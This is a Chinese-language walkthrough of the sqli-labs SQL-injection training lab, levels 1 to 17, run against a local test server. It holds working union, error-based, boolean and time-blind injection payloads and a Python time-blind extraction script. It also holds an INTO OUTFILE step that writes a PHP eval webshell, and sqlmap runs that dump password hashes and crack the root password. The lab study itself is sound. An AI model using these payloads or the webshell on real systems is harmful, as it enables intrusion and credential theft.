Sqli-labs

项目地址:Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.

环境信息:MySQL8.0.12,Nginx1.15.11,php5.6.9nts

参考文章:sqli-labs 通关详解(sql注入知识点整理)_51CTO博客_sqli-labs注入天书

Less-1

最基础的字符注入,可以使用如下语句来获取数据库信息:

测试是否有注入,存在报错

1
http://127.0.0.1/Less-1/?id='

测试注入

1
http://127.0.0.1/Less-1/?id=1' or 1=1 --+

可以正常执行

image-20221004152138882

爆字段,发现为3时正常,说明字段有三个

1
http://127.0.0.1/Less-1/?id=1' order by 4 --+

爆基础信息

1
http://127.0.0.1/Less-1/?id=1' and 1=2 union select 1, version(), user() --+

image-20221004152310935

可以发现,前端会显示后两个字段的信息,盲猜第一个字段是id相关信息。

我们通过group_concat语句和information库(After MySQL 5.0)来获取所有数据库信息

1
http://127.0.0.1/Less-1/?id=1' and 1=2 union select 1, (select group_concat(schema_name) from information_schema.schemata), user() --+

image-20221004152527998

再通过information_schema库中的tables表获取security库中所有的表

1
http://127.0.0.1/Less-1/?id=1' and 1=2 union select 1, (select group_concat(schema_name) from information_schema.schemata), (select group_concat(table_name) from information_schema.tables where table_schema='security') --+

image-20221004152802409

然后我们看下security库中users表有哪些字段

1
http://127.0.0.1/Less-1/?id=1' and 1=2 union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'), (select group_concat(table_name) from information_schema.tables where table_schema='security') --+

image-20221004153131095

那就把username和password都爆出来

1
http://127.0.0.1/Less-1/?id=1' and 1=2 union select 1, (select group_concat(username) from security.users), (select group_concat(password) from security.users) --+

可以看到用户名和对应的密码都爆出来了

image-20221004153253950

Less-2

同理,输入',发现存在报错

image-20221004153510827

那么我们怎么判断是否是整数数据,我们可以使用简单的运算符看正不正常,比如6-2

发现是可以的,说明不是字符注入,和第一关的区别就是不用加单引号了,其余的都是一样的。

Less-3

测试注入

image-20221004153952085

可以发现,报错信息显示"1"),说明可能是使用了括号包起来,那么我们多用一个括号来闭合

image-20221004154054710

后面的就都一样了

image-20221004154222349

Less-4

发现单独的单引号括号都不报错,使用双引号报错。

image-20221004154429749

从报错信息可以看到三个双引号和一个括号,因此可以知道使用了双引号和括号闭合。

因此后面都是一样的

image-20221004154712455

Less-5

发现这里成功登录后,只显示成功进入。但是报错依然回显。

image-20221004155011692

image-20221004155034347

参考文章:SQL注入实战之报错注入篇(updatexml extractvalue floor) - 陈子硕 - 博客园

  • 回显正常—> 联合查询 union select

  • 回显报错—> Duplicate entry()
    extractvalue()
       updatexml()

  • 盲注—>布尔型盲注
    基于时间的盲注sleep()

  • 在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:

    updatexml()

    extractvalue()

    当这两个函数在执行时,如果出现xml文档路径错误就会产生报错

  • updatexml()函数

    • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
    • 作用:改变文档中符合条件的节点的值
    • 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称。第二个参数:代表路径,Xpath格式的字符串。第三个参数:string格式,替换查找到的符合条件的数据
    • updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
    • 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

那么我们可以使用报错注入。人为构造报错语句,同时将一些结果回显到报错信息中。

1
http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)--+

image-20221004161309484

于是就可以通过这有限长度的报错信息回显数据

1
http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(0x7e,database(),0x7e,(select count(username) from security.users),0x7e,(select username from security.users limit 2,1)),1)--+

image-20221004161534641

Less-6

使用单引号无回显,使用双引号报错。

同样使用报错注入。

image-20221004162010255

Less-7

这一关要我们使用outfile函数

这个函数作用就是将查询结果导出到一个外部文件。

类似的函数还有dumpfile,但是只能导出一行结果。

还有load_file文件,可以加载导出的文件,和outfile相反。

outfile函数必须要有secure_file_priv全局环境变量,用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录

  • secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。

  • secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行

  • secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。

查看secure环境变量:

1
SHOW GLOBAL VARIABLES LIKE '%secure%';

参考文章:mysql5.7导出数据提示–secure-file-priv选项问题的解决方法_傲雪星枫的博客-CSDN博客

例如我们可以这样导出结果:

1
SELECT * FROM users INTO OUTFILE "D:/Desktop/1.txt";

导出结果如图所示

image-20221004214956091

因为需要知道secure_file_priv的值才能知道我们能导出到那些路径。所以需要先搞清楚这个值。爆出绝对路径。

这里使用单引号闭合无效,最后使用单引号+双右括号才闭合。查看源码:

image-20221004215957102

我们可以写个一句话出来。

1
http://127.0.0.1/Less-7/?id=1')) and 1=2 union select "","","<?php @eval($_GET['pass']); ?>" into outfile "d:/desktop/yjh.php" --+

image-20221004220958195

Less-8

正常传参,发现无回显

image-20221004221129515

也没有报错

image-20221004221225121

但是我们可以知道是否成功登录,那我们就布尔盲注吧,比如我们要知道数据库的长度

1
http://127.0.0.1/Less-8/?id=1' and length(database())=8 --+

image-20221004221334962

说明数据库字符串长度为8,如果为别的值,相当于sql没有结果,服务端就认为你登录失败了,不会有回显。

那么更多的信息,我们就要使用脚本或者sqlmap。需要先爆长度,然后截断,用二分法爆每一位的ascii码值,慢慢爆出完整的数据,效率极低因此我们几乎不会用手工注入。

Less-9

先测试正常登录,然后测试永真条件,再试试永假条件,发现全部显示you are in。因此前面的注入方式都不可行,没有任何回显(包括是否成功登录)。所以我们只能时间盲注了。

SQL中if表达式:

1
IF( expr1 , expr2 , expr3 )
  • expr1 的值为 TRUE,则返回值为 expr2
  • expr1 的值为FALSE,则返回值为 expr3

区别就是将条件改为sleep。原理是一样的。比如我们测试数据库名的长度:

1
http://127.0.0.1/Less-9/?id=1' AND IF(LENGTH(DATABASE())=8, SLEEP(1),  0) --+

这样如果数据库长度为8那么就会休眠1秒。

这里有个技巧,我们一般是结果正确进行休眠,因为测试出错误的结果的概率是远大于正确的,所以在错误的结果出现时立即返回而不睡眠可以提高盲注效率。

再例如爆破database的第一个字符:

1
http://127.0.0.1/Less-9/?id=1' AND IF(ASCII(SUBSTR(DATABASE(), 1, 1))=115, SLEEP(1), 0) --+

手动修改判断条件,发现在等于115时响应明显减速,因此database第一个字符ascii码为115,刚好是s。

image-20221005030924868

写个二分时间盲注脚本试试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

def get_ascii_string(length):
print('开爆!长度:' + str(length))
re = ''
for n in range(length):
rang = [33, 127]
print('第' + str(n+1) + '个字符:', end='')
while True:
mid_time = (rang[0] + rang[1]) // 2 + 1 if (rang[0] + rang[1]) % 2 == 1 else (rang[0] + rang[1]) // 2
condition = '<' + str(mid_time)
threshold_time = 5
r = requests.get(f"http://127.0.0.1/Less-9/?id=1' AND IF(ASCII(SUBSTR(DATABASE(), {n+1}, 1)){condition}, SLEEP(5), 0) --+")
if r.elapsed.total_seconds() >= threshold_time:
rang[1] = mid_time
else:
rang[0] = mid_time
if rang[1] == rang[0] + 1:
re += chr(rang[0])
break
print(re)
print('注入结束')
return re

get_ascii_string(8)

效果还行

image-20221005034702315

Less-10

这一关和上一关一样盲注,于是我们使用类似上一关的语句进行注入,同时我们可以把条件改为永真来测试是否有语法错误。发现使用的是双引号闭合。

1
http://127.0.0.1/Less-10/?id=1" AND IF(115=115, SLEEP(1), 0) --+

其他的就是一样的了。

Less-11

这一关使用了登录框和POST表单提交,于是请出BurpSuite(也可以直接在登陆框注),放到Repeater里测试

在passwd参数后进行布尔注入(盲猜语句是select * from users where username=’$uname’ and password=’$passwd’,因此在username后注可能会更好,把后面多余的部分都注释掉),成功登录

image-20221005042706364

试试爆出其他信息。字段只有2个,而不是前面的3个。

image-20221005042916482

其他的都是一样的了。要注意的是POST提交可以不用URL编码。

Less-12

这里登陆框输个单引号无效,输个双引号发现后面语句全出来了

image-20221005043719321

需要注意的是如果你两个登录框都输入双引号:

image-20221005043806270

你会发现什么错都不会报。

我们看源码的语句:

1
SELECT username, PASSWORD FROM users WHERE username=(""") and password=(""") LIMIT 0,1;

原因是username左括号和password右括号之间形成了完美闭合,因此这种情况我们要多加注意,不是没有注入,而是刚好闭合了。这个多引号的问题好像还可以研究一下。

Less-13

单引号,通过报错获知闭合语句,使用单引号和右括号给uname闭合,发现只有成功登录回显。同时我们有报错信息,因此我们使用报错注入。

1
uname=1') and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1) -- &passwd=&submit=Submit

image-20221005045135371

Less-14

使用双引号闭合

Less-15

这里没有了报错信息,只能显示是否成功登录,我们可以用布尔盲注。

1
' OR LENGTH(DATABASE())=8-- 

再用sqlmap试试

1
sqlmap -u "http://192.168.190.1/Less-15/" --data="uname=1&passwd=1&submit=Submit"

image-20221006130135997

可以看到帮我们测试出uname参数存在时间盲注。之前的第八关可以测出布尔盲注,但是这里只能测出时间盲注,可能sqlmap无法通过图片判断是否回显。

可以看到sqlmap还帮我们识别出了MySQL、Nginx、PHP的版本。

Less-16

对于这种前端没有计算的简单表单提交接口,我们直接使用sqlmap来跑。这一关使用默认POST表单提交方式运行sqlmap显示不可被注入:

1
sqlmap -u "http://192.168.190.1/Less-16/" --data="uname=a&passwd=b&submit=Submit"

image-20221007193457494

我们直接把风险等级和测试等级调到最高:

1
sqlmap -u "http://192.168.190.1/Less-16/" --data="uname=a&passwd=b&submit=Submit" --level=5 --risk=3

测试时间会比默认等级长。测试结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 4580 HTTP(s) requests:
---
Parameter: uname (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=a") AND (SELECT 4165 FROM (SELECT(SLEEP(5)))PghL) AND ("pmuA"="pmuA&passwd=b&submit=Submit
---
[19:32:24] [INFO] the back-end DBMS is MySQL
[19:32:24] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web application technology: PHP 5.6.9, Nginx 1.15.11
back-end DBMS: MySQL >= 5.0.12

可以看到这里使用了")闭合,默认等级sqlmap不会测试这些语句,需要更高等级才能测试出来。

手动注入,发现其实前端是有是否成功登录的回显的,因此我们也可以使用布尔盲注。

image-20221007193848544

比如可以这样注入:

1
qweasdzxcedcwsxqaz") or (length(database())=9)--+

Less-17

这一关显示是重设密码页面。输入框包含:用户名、新密码。这页面也太简单了,CSRF都不防范,我们sqlmap跑一波

1
sqlmap -u "http://192.168.190.1/Less-17/" --data="uname=a&passwd=b&submit=Submit" --level=5 --risk=3

跑了贼久,显示不可注入。

仔细想想,这里只需要输入用户名和新密码,那么用户肯定是知道用户名的。我们随便用一个用户名模拟用户在后台修改密码的情况。

1
sqlmap -u "http://192.168.190.1/Less-17/" --data="uname=Dumb&passwd=b&submit=Submit"

有报错注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sqlmap identified the following injection point(s) with a total of 1051 HTTP(s) requests:
---
Parameter: passwd (POST)
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: uname=Dumb&passwd=b' WHERE 1216=1216 AND GTID_SUBSET(CONCAT(0x717a6b7a71,(SELECT (ELT(3275=3275,1))),0x7162626b71),3275)-- dVCx&submit=Submit

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=Dumb&passwd=b' WHERE 2789=2789 AND (SELECT 1369 FROM (SELECT(SLEEP(5)))gdNU)-- FLyf&submit=Submit
---
[22:51:21] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.15.11, PHP 5.6.9
back-end DBMS: MySQL >= 5.6

报错注入和时间盲注。那么就好办了。

修改密码,要用到UPDATE函数,针对它来进行注入。

查看源码,发现先对用户名进行查询,如果查不到用户就显示错误。那么我们想一下,基于是否报错能否进行布尔盲注?应该是可以的,我们只对用户名进行盲注就好了。但是查看源码,发现对uname进行了检查。

image-20221007230139995

所以这里只能对passwd注入了。

sqlmap简单使用:

--current-db查看当前数据库

--users查看所有用户

image-20221007231451404

--password查看密码(--passwords

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[23:15:01] [INFO] fetching database users password hashes
[23:15:01] [INFO] retrieved: 'mysql.infoschema'
[23:15:01] [INFO] retrieved: '$A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED'
[23:15:01] [INFO] retrieved: 'mysql.session'
[23:15:01] [INFO] retrieved: '$A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED'
[23:15:01] [INFO] retrieved: 'mysql.sys'
[23:15:01] [INFO] retrieved: '$A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED'
[23:15:01] [INFO] retrieved: 'root'
[23:15:01] [INFO] retrieved: '*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q]
[23:15:07] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/home/ylcao/apps/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
[23:15:13] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N]
[23:15:14] [INFO] starting dictionary-based cracking (mysql_passwd)
[23:15:14] [INFO] starting 8 processes
[23:15:19] [INFO] cracked password 'root' for user 'root'
[23:15:19] [INFO] cracked password 'root' for user 'root'
database management system users password hashes:
[*] mysql.infoschema [1]:
password hash: $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[*] mysql.session [1]:
password hash: $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[*] mysql.sys [1]:
password hash: $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[*] root [1]:
password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
clear-text password: root

还帮你用字典爆破了哈希。

查看所有数据库:

1
sqlmap -u "http://192.168.190.1/Less-17/" --data="uname=Dumb&passwd=b&submit=Submit" --dbs

使用-v符号可以调整sqlmap的日志等级,然后就可以查看sqlmap的请求过程

查看所有表:

-D 库名 –tables

1
sqlmap -u "http://192.168.190.1/Less-17/" --data="uname=Dumb&passwd=b&submit=Submit" -D security --tables

image-20221007230946562

查看所有字段:

1
2
sqlmap -u "http://192.168.190.1/Less-17/" --data="uname=Dumb&passwd=b&submit=Submit" -D security -T users --column
s

image-20221007231312950

dump数据:

1
sqlmap -u "http://192.168.190.1/Less-17/" --data="uname=Dumb&passwd=b&submit=Submit" --dump -T users -D security -C "id,username,password"

出来全是NULL,我们看下sqlmap请求了什么

1
uname=Dumb&passwd=b' WHERE 9694=9694 AND GTID_SUBSET(CONCAT(0x717a6b7a71,(SELECT (CASE WHEN ((SELECT COUNT(username) FROM security.users)>0) THEN 1 ELSE 0 END)),0x7162626b71),4465)-- fLVm&submit=Submit

image-20221007233013621

原因应该是不能在UPDATE时对表进行查询。

可以参考这个:MySQL数据库同时查询更新同一张表_younglao的博客-CSDN博客_mysql同时操作同一条数据

Less-18

⬆︎TOP